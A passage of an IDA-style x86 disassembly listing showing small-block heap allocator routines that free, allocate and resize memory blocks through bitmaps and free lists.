loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------

loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]

loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx

loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi

loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi

loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------

loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]

loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB

loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------

loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC934
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC92C
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC92C
		mov	eax, dword_4DC934
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC934
		mov	ecx, dword_4DC92C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC934
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC934
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC934

loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC934
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC944
		call	near ptr 27A0000h
		nop
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC934
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC938
		cmp	eax, dword_4DC934
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h

loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC93C
		mov	dword_4DC930, eax

loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC92C, edi
		mov	dword_4DC934, eax

loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------

loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC930
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242

loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229

loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx

loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------

loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax

loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0

loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------

loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]

loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx

loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------

loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax

loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9

loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0

loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------

loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC930, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E

loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B

loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304

loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]

loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------

loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi

loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]

loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]

loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------

loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]

loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC934
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC92C
		jnz	short loc_41E4C7
		and	dword_4DC934, 0

loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC938
		mov	ecx, dword_4DC928
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC93C
		push	edi
		push	dword_4DC944
		call	near ptr 2860000h
		nop
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC928, 10h
		mov	dword_4DC93C, eax
		mov	eax, dword_4DC938

loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC93C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC944
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27B0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28C07A0h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC944
		nop
		call	near ptr 27A0000h

loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------

loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC938
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------

loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28C07A0h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------

loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]

loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5

loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi

loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------

loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi

loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------

loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx

loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------

loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]

loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------

loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------

loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi

loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi

loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------

loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
